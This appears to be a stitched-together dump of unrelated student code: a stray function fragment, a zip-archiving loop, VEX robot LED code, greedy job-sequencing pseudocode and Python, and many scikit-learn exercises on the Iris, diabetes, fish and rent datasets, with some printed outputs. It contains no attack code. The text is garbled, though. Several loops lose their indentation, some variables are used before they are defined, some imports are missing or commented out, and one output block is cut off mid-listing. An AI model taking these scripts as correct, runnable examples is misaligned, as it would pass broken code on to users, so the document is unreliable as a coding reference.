response = {'ccm':ccm,'nf':nf,'cod':cod,'provider':provider}

return response
with zipfile.ZipFile(ZIP_NAME, 'w') as zipf:
       for folderName, subfolders, filenames in os.walk(DATA_PATH):
           for filename in filenames:
               filePath = os.path.join(folderName, filename)
               zipf.write(filePath, os.path.basename(filePath))
remote_control_code_enabled = True
myVariable = 0

def when_started1():
    global myVariable, remote_control_code_enabled
    touchled_8.set_color(Color.GREEN)

def onevent_bumper_2_pressed_0():
    global myVariable, remote_control_code_enabled
    remote_control_code_enabled = False
    for repeat_count in range(6):
        touchled_8.set_color(Color.RED)
        wait(0.25, SECONDS)
        touchled_8.set_color(Color.GREEN)
        wait(0.25, SECONDS)
        wait(20, MSEC)
    remote_control_code_enabled = True
    touchled_8.set_color(Color.GREEN)

# system event handlers
bumper_2.pressed(onevent_bumper_2_pressed_0)
# add 15ms delay to make sure events are registered correctly.
wait(15, MSEC)

when_started1()
Task-3
Implement Job Sequencing with deadlines algorithm
Algorithm
Algorithm GreedyJob(d, J, n)
// J is a set of jobs that can be completed by their deadlines.
{
  J := {1};
  for i := 2 to n do
  {
    if (all jobs in J ∪ {i} can be completed
        by their deadlines) then J := J ∪ {i};
  }
}
AlgorithmJS(d,j,n)
{
 // d[i] >1,1<i <n arethedeadlines, n >1.Thejobs
 // areorderedsuchthat p[\\] >p[2]>>......p[n].J[i]
 // istheith jobin theoptimalsolution,1<i <k.
 // Also,at terminationd[J[i]] <d[J[i+1]], 1<i <k.
  {
d[0] := J[0] := 0; // Initialize.
J[1] := 1; // Include job 1.
k := 1;
for i := 2 to n do
{
    // Consider jobs in nonincreasing order of p[i]. Find
    // position for i and check feasibility of insertion.
    r := k;
    while ((d[J[r]] > d[i]) and (d[J[r]] ≠ r)) do r := r - 1;
    if ((d[J[r]] ≤ d[i]) and (d[i] > r)) then
    {
        // Insert i into J[ ].
        for q := k to (r + 1) step -1 do J[q + 1] := J[q];
        J[r + 1] := i; k := k + 1;
    }
}
return k;
}
Program:
class Job:
    def __init__(self, job_id, deadline, profit):
        self.job_id = job_id
        self.deadline = deadline
        self.profit = profit

# Function to schedule jobs to maximize profit
def job_sequencing(jobs):
    # Step 1: Sort jobs by profit in descending order
    jobs.sort(key=lambda job: job.profit, reverse=True)
    
    # Step 2: Initialize an array to keep track of free time slots
    max_deadline = max(job.deadline for job in jobs)
    slots = [-1] * max_deadline  # -1 indicates the slot is free
    
    total_profit = 0
    job_sequence = []
    
    # Step 3: Place jobs in available slots to maximize profit
    for job in jobs:
        # Find a slot for the job, starting from the latest possible slot (deadline)
        for j in range(min(job.deadline, max_deadline) - 1, -1, -1):
            if slots[j] == -1:
                # Slot found
                slots[j] = job.job_id
                job_sequence.append(job.job_id)
                total_profit += job.profit
                break
    
    # Output the sequence and profit
    return job_sequence, total_profit

# Example usage
jobs = [
    Job('Job1', 2, 100),
    Job('Job2', 1, 50),
    Job('Job3', 2, 10),
    Job('Job4', 1, 20),
    Job('Job5', 3, 15)
]

# Get the job sequence and total profit
sequence, profit = job_sequencing(jobs)
print("Job sequence:", sequence)
print("Total Profit:", profit)
OUTPUT:
Job Sequence: ['Job1', 'Job2', 'Job5']
Total Profit: 165


(VIVEK'S CODE)
# greedy job sequencing

def greedyJS(d,j,n):
    d[0]=j[0]=0
    j[1]=1
    k=1
    for i in range(2,n):
        r = k
        while d[j[r]]>d[i] and d[j[r]]!=r:
            r-=1
        if d[j[r]]<=d[i] and d[i]>r:
            for q in range(r+1,k-1,-1):
                j[q+1]=j[q]
            j[r+1]=i
            k+=1
    return k
            

def sort(p,d,n):
    for i in range(1,n):
        k = i
        m = p[i]
        for j in range(i+1,n):
            if(p[j]>m):
                m = p[j]
                k = j
        if i!=k:
            d[i],d[k] = d[k],d[i]
            p[i],p[k] = p[k],p[i]

n = int(input())
p = [-1]*(n+1)
d = [-1]*(n+1)
for i in range(1,n+1):
    p[i],d[i] = map(int,input().split())
sort(p,d,n+1)
print(p[1:])
print(d[1:])
j = [0]*(n+1)
k = greedyJS(d,j,n+1)
print(k)
for i in range(1,k+1):
    print(j[i],end=" ")
print()
profit = 0
for i in range(1,k+1):
    profit+=p[j[i]]
print(profit)

'''
INPUT:
5
15 2
20 2
10 1
1 3
5 3

OUTPUT:
[20, 15, 10, 5, 1]
[2, 2, 1, 3, 3]
3
1 2 4
40
'''
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn.preprocessing import StandardScaler
from sklearn.decomposition import PCA
import seaborn as sns

df_petrol = pd.read_csv('petrol_consumption.csv')
print(df_petrol.head())
df_petrol.info()
#
df_petrol.isnull().sum()
#
df_petrol.fillna(df_petrol.mean(),inplace=True)
#
sns.pairplot(df_petrol,hue="Petrol_Consumption")
plt.show()
#
#PCA
scaler = StandardScaler()
df = scaler.fit_transform(df)

pca = PCA(n_components=2)
df_pca = pca.fit_transform(df)
df = pd.DataFrame(data = df_pca,columns=['PC1','PC2'])
df["Petrol_Consumption"] = df_petrol["Petrol_Consumption"]
sns.scatterplot(x='PC1',y='PC2',data = df,hue="Petrol_Consumption")
plt.show()

#Rfe
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn.preprocessing import StandardScaler
from sklearn.feature_selection import RFE
from sklearn.tree import DecisionTreeClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score

df = pd.read_csv("Fish.csv")
print(df.head())
df.info()
#
X = df.drop('Species',axis=1)
y = df['Species']

y.info()
#
X_train,X_test,y_train,y_test = train_test_split(X,y,test_size = 0.2,random_state=42)

dtc = DecisionTreeClassifier()
dtc.fit(X_train,y_train)
y_pred = dtc.predict(X_test)
print(y_pred)
print(y_test)

accuracy = accuracy_score(y_test,y_pred)
print(accuracy)
#
from sklearn.tree import DecisionTreeClassifier
from sklearn.preprocessing import LabelEncoder

df = pd.read_csv('Iris.csv')
df.info()
#
encoder = LabelEncoder()
df["Species"] = encoder.fit_transform(df["Species"])
#
df.info()
#
X = df.iloc[:,:-1] #df.drop(columns=["speices"])
y = df.iloc[:,-1] #df["species"]
X_train,X_test,y_train,y_test = train_test_split(X,y,test_size=0.2,random_state=42)
dtc = DecisionTreeClassifier()
dtc.fit(X_train,y_train)
y_pred = dtc.predict(X_test)
print(y_test,y_pred)
#
from sklearn.metrics import accuracy_score,classification_report,confusion_matrix

accuracy = accuracy_score(y_pred,y_test)
print(accuracy)
print(classification_report(y_pred,y_test))
print(confusion_matrix(y_pred,y_test))
#
# prompt: Visualize insights of Above decision tree classification on iris dataset

from sklearn import tree
import matplotlib.pyplot as plt

plt.figure(figsize=(15,10))
tree.plot_tree(dtc,filled=True,feature_names=X.columns,class_names=['0','1','2'])
plt.show()
#from sklearn.neighbors import KNeighborsClassifier

df = pd.read_csv('diabetes.csv')
df.info()
#
X = df.iloc[:,:-1] #df.drop("Outcome",axis=1)
y = df.iloc[:,-1]
X_train,X_test,y_train,y_test = train_test_split(X,y,test_size=0.2,random_state=42)
knn = KNeighborsClassifier(n_neighbors=2)
knn.fit(X_train,y_train)
y_pred = knn.predict(X_test)
print(y_test,y_pred)
#
accuracy = accuracy_score(y_pred,y_test)
print(accuracy)
print(classification_report(y_pred,y_test))
print(confusion_matrix(y_pred,y_test))
#Decision Tree Classification

from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split
from sklearn.tree import DecisionTreeClassifier
from sklearn.metrics import accuracy_score,classification_report,confusion_matrix
import pandas as pd

iris = load_iris()
df = pd.DataFrame(data=iris.data, columns=iris.feature_names)
df['species'] = iris.target
print(df.head())
print(df.info())
X = df.drop('species', axis=1)
y = df['species']
x_train,x_test,y_train,y_test = train_test_split(X,y,test_size=0.2,random_state=42)
model = DecisionTreeClassifier()
model.fit(x_train,y_train)
y_pred = model.predict(x_test)
accuracy = accuracy_score(y_test,y_pred)
print("Accuracy:",accuracy)
print("Classification Report:\n",classification_report(y_test,y_pred))
print("Confusion Matrix:\n",confusion_matrix(y_test,y_pred))
output:
   sepal length (cm)  sepal width (cm)  petal length (cm)  petal width (cm)  \
0                5.1               3.5                1.4               0.2   
1                4.9               3.0                1.4               0.2   
2                4.7               3.2                1.3               0.2   
3                4.6               3.1                1.5               0.2   
4                5.0               3.6                1.4               0.2   

   species  
0        0  
1        0  
2        0  
3        0  
4        0  
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 150 entries, 0 to 149
Data columns (total 5 columns):
 #   Column             Non-Null Count  Dtype  
---  ------             --------------  -----  
 0   sepal length (cm)  150 non-null    float64
 1   sepal width (cm)   150 non-null    float64
 2   petal length (cm)  150 non-null    float64
 3   petal width (cm)   150 non-null    float64
 4   species            150 non-null    int64  
dtypes: float64(4), int64(1)
memory usage: 6.0 KB
None
Accuracy: 1.0
Classification Report:
               precision    recall  f1-score   support

           0       1.00      1.00      1.00        10
           1       1.00      1.00      1.00         9
           2       1.00      1.00      1.00        11

    accuracy                           1.00        30
   macro avg       1.00      1.00      1.00        30
weighted avg       1.00      1.00      1.00        30

Confusion Matrix:
 [[10  0  0]
 [ 0  9  0]
 [ 0  0 11]]
2.#K-Neareast Nrighbour
#K-Neareast Nrighbour
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.datasets import load_iris
from sklearn.metrics import accuracy_score,classification_report,confusion_matrix
from sklearn.neighbors import KNeighborsClassifier
iris = load_iris()
df = pd.DataFrame(data=iris.data,columns=iris.feature_names)
df['species']=iris.target
print(df.head())
print(df.info())
x = df.drop('species',axis=1)
y = df['species']
x_train,x_test,y_train,y_test = train_test_split(x,y,test_size=0.2,random_state=42)
knn = KNeighborsClassifier(n_neighbors=1)
knn.fit(x_train,y_train)
y_pred = knn.predict(x_test)
accuracy = accuracy_score(y_test,y_pred)
print("Accuracy:",accuracy)
print("Classification Report:\n",classification_report(y_test,y_pred))
print("Confusion Matrix:\n",confusion_matrix(y_test,y_pred))
output:
]
#K-Neareast Nrighbour
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.datasets import load_iris
from sklearn.metrics import accuracy_score,classification_report,confusion_matrix
from sklearn.neighbors import KNeighborsClassifier
iris = load_iris()
df = pd.DataFrame(data=iris.data,columns=iris.feature_names)
df['species']=iris.target
print(df.head())
…print("Confusion Matrix:\n",confusion_matrix(y_test,y_pred))
   sepal length (cm)  sepal width (cm)  petal length (cm)  petal width (cm)  \
0                5.1               3.5                1.4               0.2   
1                4.9               3.0                1.4               0.2   
2                4.7               3.2                1.3               0.2   
3                4.6               3.1                1.5               0.2   
4                5.0               3.6                1.4               0.2   

   species  
0        0  
1        0  
2        0  
3        0  
4        0  
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 150 entries, 0 to 149
Data columns (total 5 columns):
 #   Column             Non-Null Count  Dtype  
---  ------             --------------  -----  
 0   sepal length (cm)  150 non-null    float64
 1   sepal width (cm)   150 non-null    float64
 2   petal length (cm)  150 non-null    float64
 3   petal width (cm)   150 non-null    float64
 4   species            150 non-null    int64  
dtypes: float64(4), int64(1)
memory usage: 6.0 KB
None
Accuracy: 1.0
Classification Report:
               precision    recall  f1-score   support

           0       1.00      1.00      1.00        10
           1       1.00      1.00      1.00         9
           2       1.00      1.00      1.00        11

    accuracy                           1.00        30
   macro avg       1.00      1.00      1.00        30
weighted avg       1.00      1.00      1.00        30

Confusion Matrix:
 [[10  0  0]
 [ 0  9  0]
 [ 0  0 11]]
1.
from sklearn.datasets import load_iris
import pandas as pd
iris=load_iris()
df=pd.DataFrame(data=iris.data, columns=iris.feature_names)
print("DataFrame Head:\n",df.head())
print("DataInfo:\n",df.info())

output
DataFrame Head:
    sepal length (cm)  sepal width (cm)  petal length (cm)  petal width (cm)
0                5.1               3.5                1.4               0.2
1                4.9               3.0                1.4               0.2
2                4.7               3.2                1.3               0.2
3                4.6               3.1                1.5               0.2
4                5.0               3.6                1.4               0.2
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 150 entries, 0 to 149
Data columns (total 4 columns):
 #   Column             Non-Null Count  Dtype  
---  ------             --------------  -----  
 0   sepal length (cm)  150 non-null    float64
 1   sepal width (cm)   150 non-null    float64
 2   petal length (cm)  150 non-null    float64
 3   petal width (cm)   150 non-null    float64
dtypes: float64(4)
memory usage: 4.8 KB
DataInfo:
 None
2.
from sklearn.preprocessing import StandardScaler
scaler=StandardScaler()
x_scaled=scaler.fit_transform(df)
from sklearn.cluster import KMeans
Kmeans=KMeans(n_clusters=3, random_state=42)
Kmeans.fit((x_scaled))
clusters_labels=Kmeans.labels_
df['cluster']=clusters_labels
cluster_centers=Kmeans.cluster_centers_
print("cluster centers:\n",cluster_centers)

ouput

cluster centers:
 [[ 1.13597027  0.08842168  0.99615451  1.01752612]
 [-1.01457897  0.85326268 -1.30498732 -1.25489349]
 [-0.05021989 -0.88337647  0.34773781  0.2815273 ]]

3.

from sklearn.metrics import adjusted_rand_score,silhouette_score
true_labels=iris.target
ari=adjusted_rand_score(true_labels,clusters_labels)
print(f"Adjusted Rand_Index(ARI):{ari}")
silhouette_avg=silhouette_score(x_scaled,clusters_labels)
print(f"sithouette score : {silhouette_avg}")

ouput

Adjusted Rand_Index(ARI):0.6201351808870379
sithouette score : 0.45994823920518635

ll.1

#Hierarchial clustering
import numpy as np
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
from sklearn.datasets import load_iris
from sklearn.preprocessing import StandardScaler
from scipy.cluster.hierarchy import dendrogram,linkage
from scipy.cluster.hierarchy import fcluster
iris=load_iris()
data=pd.DataFrame(iris.data,columns=iris.feature_names)
scaler=StandardScaler()
scaled_data=scaler.fit_transform(data)
z=linkage(scaled_data,method="ward")
plt.figure(figsize=(10,7))
plt.title("Dendogram for Iris dataset")
dendrogram(z,labels=iris.target)
plt.show()
clusters=fcluster(z,3,criterion="maxclust")
data['cluster']=clusters
data['species']=iris.target
print(data.groupby(['cluster','species']).size())
silhouette_avg=silhouette_score(scaled_data,clusters)
print(f"Silhouette score: {silhouette_avg}")

output
 

cluster  species
1        0          49
2        0           1
         1          27
         2           2
3        1          23
         2          48
dtype: int64
Silhouette score: 0.446689041028591
import pandas as pd 
import numpy as np 
import matplotlib.pyplot as plt 
import seaborn as sns 
from sklearn.preprocessing import StandardScaler 
from sklearn.cluster import AgglomerativeClustering 
from sklearn.metrics import accuracy_score, confusion_matrix 
from scipy.cluster.hierarchy import dendrogram, linkage 
from sklearn.decomposition import PCA 
# Load the Iris dataset 
df = pd.read_csv('Iris.csv') 
# Display the first few rows to understand the structure (optional) 
print(df.head()) 
# Remove the 'Id' column if present 
df = df.drop(columns=['Id']) 
# Separate features and the actual labels (for comparison) 
X = df.drop(columns=['Species']) 
y_true = df['Species'] 
# Standardize the features 
scaler = StandardScaler() 
X_scaled = scaler.fit_transform(X) 
# Generate a dendrogram to visualize hierarchical clustering structure 
plt.figure(figsize=(10, 7)) 
linked = linkage(X_scaled, method='ward') 
dendrogram(linked, labels=y_true.values, orientation='top', distance_sort='descending', show_leaf_counts=True) 
plt.title("Dendrogram for Iris Dataset") 
plt.xlabel("Samples") 
plt.ylabel("Euclidean Distance") 
plt.show() 
# Apply Hierarchical Clustering 
hc = AgglomerativeClustering(n_clusters=3, affinity='euclidean', linkage='ward') 
y_hc = hc.fit_predict(X_scaled) 
# Map cluster labels to actual classes for accuracy estimation 
y_hc_mapped = np.zeros_like(y_hc) 
for i in range(3): 
mask = (y_hc == i) 
y_hc_mapped[mask] = np.bincount(y_true[mask].factorize()[0]).argmax() 
# Estimate accuracy by comparing clusters to actual labels 
accuracy = accuracy_score(y_true.factorize()[0], y_hc_mapped) 
print("Estimated Accuracy of Hierarchical Clustering:", accuracy) 
# Confusion matrix to visualize clustering performance 
conf_matrix = confusion_matrix(y_true.factorize()[0], y_hc_mapped) 
plt.figure(figsize=(6, 4)) 
sns.heatmap(conf_matrix, annot=True, fmt="d", cmap="Blues", xticklabels=['Setosa', 'Versicolor', 'Virginica'], 
yticklabels=['Setosa', 'Versicolor', 'Virginica']) 
plt.xlabel("Cluster Label") 
plt.ylabel("True Label") 
plt.title("Confusion Matrix of Hierarchical Clustering") 
plt.show() 
# Visualize clusters using PCA (reduce to 2D for plotting) 
pca = PCA(n_components=2) 
X_pca = pca.fit_transform(X_scaled) 
# Plot the clusters and actual labels 
plt.figure(figsize=(12, 5)) 
# Plot hierarchical clusters 
plt.subplot(1, 2, 1) 
plt.scatter(X_pca[:, 0], X_pca[:, 1], c=y_hc, cmap="viridis", s=50) 
plt.title("Hierarchical Clustering on Iris Dataset (PCA-reduced)") 
plt.xlabel("Principal Component 1") 
plt.ylabel("Principal Component 2") 
plt.colorbar(label="Cluster") 
# Plot actual species 
species_to_num = {'Iris-setosa': 0, 'Iris-versicolor': 1, 'Iris-virginica': 2} 
y_true_numeric = y_true.map(species_to_num) 
plt.subplot(1, 2, 2) 
plt.scatter(X_pca[:, 0], X_pca[:, 1], c=y_true_numeric, cmap="viridis", s=50) 
plt.title("Actual Species Labels (PCA-reduced)") 
plt.xlabel("Principal Component 1") 
plt.ylabel("Principal Component 2") 
plt.colorbar(label="Species") 
plt.tight_layout() 
plt.show()
import pandas as pd 
import numpy as np 
import matplotlib.pyplot as plt 
import seaborn as sns 
from sklearn.preprocessing import StandardScaler 
from sklearn.cluster import KMeans 
from sklearn.metrics import accuracy_score, confusion_matrix 
from sklearn.decomposition import PCA 
# Load the Iris dataset 
df = pd.read_csv('Iris.csv') 
# Display the first few rows (optional) 
print(df.head()) 
# Remove the 'Id' column if present 
df = df.drop(columns=['Id']) 
# Separate features and the actual labels (for comparison) 
X = df.drop(columns=['Species']) 
y_true = df['Species'] 
# Standardize the features 
scaler = StandardScaler() 
X_scaled = scaler.fit_transform(X) 
# Apply k-Means clustering 
kmeans = KMeans(n_clusters=3, random_state=42) 
kmeans.fit(X_scaled) 
y_kmeans = kmeans.labels_ 
# Map cluster labels to the actual classes for accuracy estimation 
# Since k-means labels are arbitrary, we map them using the most common species in each cluster. 
y_kmeans_mapped = np.zeros_like(y_kmeans) 
for i in range(3): 
mask = (y_kmeans == i) 
y_kmeans_mapped[mask] = np.bincount(y_true[mask].factorize()[0]).argmax() 
# Estimate accuracy by comparing clusters to actual labels 
accuracy = accuracy_score(y_true.factorize()[0], y_kmeans_mapped) 
print("Estimated Accuracy of k-Means Clustering:", accuracy) 
# Confusion matrix to visualize clustering performance 
conf_matrix = confusion_matrix(y_true.factorize()[0], y_kmeans_mapped) 
plt.figure(figsize=(6, 4)) 
sns.heatmap(conf_matrix, annot=True, fmt="d", cmap="Blues", xticklabels=['Setosa', 'Versicolor', 'Virginica'], 
yticklabels=['Setosa', 'Versicolor', 'Virginica']) 
plt.xlabel("Cluster Label") 
plt.ylabel("True Label") 
plt.title("Confusion Matrix of k-Means Clustering") 
plt.show() 
# Visualize clusters using PCA (reduce to 2D for plotting) 
pca = PCA(n_components=2) 
X_pca = pca.fit_transform(X_scaled) 
# Plot the clusters and actual labels 
plt.figure(figsize=(12, 5)) 
# Plot k-Means clusters 
plt.subplot(1, 2, 1) 
plt.scatter(X_pca[:, 0], X_pca[:, 1], c=y_kmeans, cmap="viridis", s=50) 
plt.title("k-Means Clustering on Iris Dataset (PCA-reduced)") 
plt.xlabel("Principal Component 1") 
plt.ylabel("Principal Component 2") 
plt.colorbar(label="Cluster") 
# Plot actual species 
species_to_num = {'Iris-setosa': 0, 'Iris-versicolor': 1, 'Iris-virginica': 2} 
y_true_numeric = y_true.map(species_to_num) 
plt.subplot(1, 2, 2) 
plt.scatter(X_pca[:, 0], X_pca[:, 1], c=y_true_numeric, cmap="viridis", s=50) 
plt.title("Actual Species Labels (PCA-reduced)") 
plt.xlabel("Principal Component 1") 
plt.ylabel("Principal Component 2") 
plt.colorbar(label="Species") 
plt.tight_layout() 
plt.show()
import pandas as pd 
import matplotlib.pyplot as plt 
import seaborn as sns 
from sklearn.model_selection import train_test_split 
from sklearn.ensemble import RandomForestClassifier 
from sklearn.metrics import accuracy_score, classification_report, confusion_matrix 
from sklearn.preprocessing import StandardScaler 
# Load the dataset 
df = pd.read_csv('bank_loans.csv') 
# Display the first few rows to understand the structure (optional) 
print(df.head()) 
print(df.info()) 
# Check for missing values (optional) 
print("Missing values:\n", df.isnull().sum()) 
# Handle missing values if any (optional, assuming numerical columns filled with mean) 
df.fillna(df.mean(), inplace=True) 
# Encode categorical variables (assuming 'Gender', 'Married', etc. as example categorical features) 
df = pd.get_dummies(df, drop_first=True) 
# Separate features and target variable 
X = df.drop(columns=['Loan_Status'])  # Assuming 'Loan_Status' is the target column (1 = Approved, 0 = Not Approved) 
y = df['Loan_Status'] 
# Split the data into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) 
# Standardize the features 
scaler = StandardScaler() 
X_train_scaled = scaler.fit_transform(X_train) 
X_test_scaled = scaler.transform(X_test) 
# Initialize and train the Random Forest Classifier 
rf_model = RandomForestClassifier(n_estimators=100, random_state=42) 
rf_model.fit(X_train_scaled, y_train) 
# Predict on the test set 
y_pred = rf_model.predict(X_test_scaled) 
# Calculate accuracy and other performance metrics 
accuracy = accuracy_score(y_test, y_pred) 
print("Random Forest Model Accuracy:", accuracy) 
print("\nClassification Report:\n", classification_report(y_test, y_pred)) 
# Plot confusion matrix for better insight into model performance 
conf_matrix = confusion_matrix(y_test, y_pred) 
plt.figure(figsize=(6, 4)) 
sns.heatmap(conf_matrix, annot=True, fmt="d", cmap="Blues", xticklabels=['Not Approved', 'Approved'], 
yticklabels=['Not Approved', 'Approved']) 
plt.xlabel("Predicted") 
plt.ylabel("Actual") 
plt.title("Confusion Matrix") 
plt.show() 
# Feature importance visualization 
feature_importances = rf_model.feature_importances_ 
features = X.columns 
# Create a dataframe for feature importances 
feature_df = pd.DataFrame({'Feature': features, 'Importance': feature_importances}) 
feature_df = feature_df.sort_values(by='Importance', ascending=False) 
# Plot feature importances 
plt.figure(figsize=(10, 6)) 
sns.barplot(x='Importance', y='Feature', data=feature_df, palette="viridis") 
plt.title("Feature Importances in Random Forest Model") 
plt.xlabel("Importance") 
plt.ylabel("Feature") 
plt.show()
import pandas as pd 
from sklearn.model_selection import train_test_split 
from sklearn.preprocessing import StandardScaler 
from sklearn.neighbors import KNeighborsClassifier 
from sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score, classification_report 
# Load the dataset 
df = pd.read_csv('diabetes.csv') 
# Display the first few rows to understand the dataset structure (optional) 
print(df.head()) 
# Separate features and target 
X = df.drop(columns=['Outcome'])  # Assuming 'Outcome' is the target column (0 = No Diabetes, 1 = Diabetes) 
y = df['Outcome'] 
# Split the data into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) 
# Standardize the features 
scaler = StandardScaler() 
X_train_scaled = scaler.fit_transform(X_train) 
X_test_scaled = scaler.transform(X_test) 
# Initialize and train the k-NN classifier 
k = 5  # You can tune this value 
knn = KNeighborsClassifier(n_neighbors=k) 
knn.fit(X_train_scaled, y_train) 
# Predict on the test set 
y_pred = knn.predict(X_test_scaled) 
# Calculate performance measures 
accuracy = accuracy_score(y_test, y_pred) 
precision = precision_score(y_test, y_pred) 
recall = recall_score(y_test, y_pred) 
f1 = f1_score(y_test, y_pred) 
# Display the performance measures 
print("Performance Measures for k-NN Classifier:") 
print(f"Accuracy: {accuracy:.4f}") 
print(f"Precision: {precision:.4f}") 
print(f"Recall: {recall:.4f}") 
print(f"F1-Score: {f1:.4f}") 
# Detailed classification report 
print("\nClassification Report:\n", classification_report(y_test, y_pred)) 
import pandas as pd 
# Load the dataset 
df = pd.read_csv('Iris.csv') 
# Display the first few rows and basic information 
print(df.head()) 
print(df.describe()) 
print(df.info()) 
from sklearn.model_selection import train_test_split 
from sklearn.preprocessing import LabelEncoder 
# Encode the target variable 
label_encoder = LabelEncoder() 
df['Species'] = label_encoder.fit_transform(df['Species']) 
# Separate features and target variable 
X = df.drop(columns=['Species']) 
y = df['Species'] 
# Split the data into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) 
from sklearn.tree import DecisionTreeClassifier 
from sklearn.metrics import accuracy_score 
# Initialize the Decision Tree Classifier 
model = DecisionTreeClassifier(random_state=42) 
model.fit(X_train, y_train) 
# Predict on the test set 
y_pred = model.predict(X_test) 
# Estimate the accuracy of the model 
accuracy = accuracy_score(y_test, y_pred) 
print("Accuracy of Decision Tree Classifier:", accuracy) 
from sklearn.tree import plot_tree 
import matplotlib.pyplot as plt 
# Plot the decision tree 
plt.figure(figsize=(12, 8)) 
plot_tree(model, feature_names=X.columns, class_names=label_encoder.classes_, filled=True) 
plt.title("Decision Tree Structure") 
plt.show() 
importances = model.feature_importances_ 
feature_names = X.columns 
# Plot feature importances 
plt.figure(figsize=(8, 6)) 
plt.barh(feature_names, importances, color='skyblue') 
plt.xlabel("Feature Importance") 
plt.ylabel("Feature") 
plt.title("Feature Importances in Decision Tree Model") 
plt.show() 
import numpy as np 
from matplotlib.colors import ListedColormap 
# Define a function to plot decision boundaries 
def plot_decision_boundary(model, X, y): 
# Set up the grid for plotting decision boundaries 
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1 
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1 
xx, yy = np.meshgrid(np.arange(x_min, x_max, 0.02), 
np.arange(y_min, y_max, 0.02)) 
# Predict over the grid 
Z = model.predict(np.c_[xx.ravel(), yy.ravel()]) 
Z = Z.reshape(xx.shape) 
# Plot the contour and training examples 
plt.figure(figsize=(10, 6)) 
plt.contourf(xx, yy, Z, alpha=0.3, cmap=ListedColormap(('red', 'green', 'blue'))) 
scatter = plt.scatter(X[:, 0], X[:, 1], c=y, s=30, cmap=ListedColormap(('red', 'green', 'blue'))) 
plt.xlabel("Petal Length") 
plt.ylabel("Petal Width") 
plt.title("Decision Boundary (Petal Length vs Petal Width)") 
plt.legend(handles=scatter.legend_elements()[0], labels=label_encoder.classes_) 
plt.show() 
# Extract PetalLength and PetalWidth for visualization 
X_2d_train = X_train[['PetalLengthCm', 'PetalWidthCm']].values 
y_train_2d = y_train.values 
# Train a new model on these two features for simplicity 
model_2d = DecisionTreeClassifier(random_state=42) 
model_2d.fit(X_2d_train, y_train_2d) 
# Plot the decision boundary 
plot_decision_boundary(model_2d, X_2d_train, y_train_2d)
import pandas as pd 
# Load the dataset 
df = pd.read_csv('student_scores.csv') 
# Display the first few rows and basic information 
print(df.head()) 
print(df.describe()) 
print(df.info()) 
from sklearn.model_selection import train_test_split 
# Separate features and target 
X = df.drop(columns=['Score'])  # Assuming 'Score' is the target column 
y = df['Score'] 
# Split into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) 
from sklearn.preprocessing import StandardScaler 
# Initialize and fit the scaler on training data 
scaler = StandardScaler() 
X_train_scaled = scaler.fit_transform(X_train) 
X_test_scaled = scaler.transform(X_test) 
from sklearn.linear_model import LinearRegression 
from sklearn.metrics import mean_absolute_error, mean_squared_error 
import numpy as np 
# Initialize and train the model 
model = LinearRegression() 
model.fit(X_train_scaled, y_train) 
# Predict on the test set 
y_pred = model.predict(X_test_scaled) 
# Evaluate performance 
mae = mean_absolute_error(y_test, y_pred) 
rmse = np.sqrt(mean_squared_error(y_test, y_pred)) 
print("Without Dimensionality Reduction") 
print("Mean Absolute Error (MAE):", mae) 
print("Root Mean Squared Error (RMSE):", rmse) 
from sklearn.decomposition import PCA 
# Initialize PCA and fit on the scaled training data 
pca = PCA(n_components=0.95)  # Retain 95% variance 
X_train_pca = pca.fit_transform(X_train_scaled) 
X_test_pca = pca.transform(X_test_scaled) 
# Check the number of components 
print("Number of components selected:", pca.n_components_) 
# Train the regression model on PCA-reduced data 
model_pca = LinearRegression() 
model_pca.fit(X_train_pca, y_train) 
# Predict on the PCA-transformed test set 
y_pred_pca = model_pca.predict(X_test_pca) 
# Evaluate performance 
mae_pca = mean_absolute_error(y_test, y_pred_pca) 
rmse_pca = np.sqrt(mean_squared_error(y_test, y_pred_pca)) 
print("With Dimensionality Reduction (PCA)") 
print("Mean Absolute Error (MAE):", mae_pca) 
print("Root Mean Squared Error (RMSE):", rmse_pca) 
print("Comparison of Model Performance:") 
print("Without Dimensionality Reduction - MAE:", mae, ", RMSE:", rmse) 
print("With Dimensionality Reduction (PCA) - MAE:", mae_pca, ", RMSE:", rmse_pca)
import pandas as pd 
# Load the dataset 
df = pd.read_csv('Pune_rent.csv') 
# Display the first few rows and basic information 
print(df.head()) 
print(df.describe()) 
print(df.info()) 
# Check for missing values 
print(df.isnull().sum()) 
# Convert categorical variables to dummy/indicator variables if necessary 
# For demonstration, assuming 'location', 'house_type' are categorical variables 
df = pd.get_dummies(df, columns=['location', 'house_type'], drop_first=True) 
from sklearn.model_selection import train_test_split 
# Separate features and target 
X = df.drop(columns=['Rent']) 
y = df['Rent'] 
# Split into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) 
from sklearn.preprocessing import StandardScaler 
# Standardize the features 
scaler = StandardScaler() 
X_train_scaled = scaler.fit_transform(X_train) 
X_test_scaled = scaler.transform(X_test) 
from sklearn.linear_model import LinearRegression 
# Initialize and train the model 
model = LinearRegression() 
model.fit(X_train_scaled, y_train) 
# Predict on the test set 
y_pred = model.predict(X_test_scaled) 
from sklearn.metrics import mean_absolute_error, mean_squared_error 
import numpy as np 
# Calculate MAE and RMSE 
mae = mean_absolute_error(y_test, y_pred) 
rmse = np.sqrt(mean_squared_error(y_test, y_pred)) 
print("Mean Absolute Error (MAE):", mae) 
print("Root Mean Squared Error (RMSE):", rmse)
import pandas as pd 
# Load the dataset 
df = pd.read_csv('Fish.csv') 
# Display the first few rows and basic information 
print(df.head()) 
print(df.describe()) 
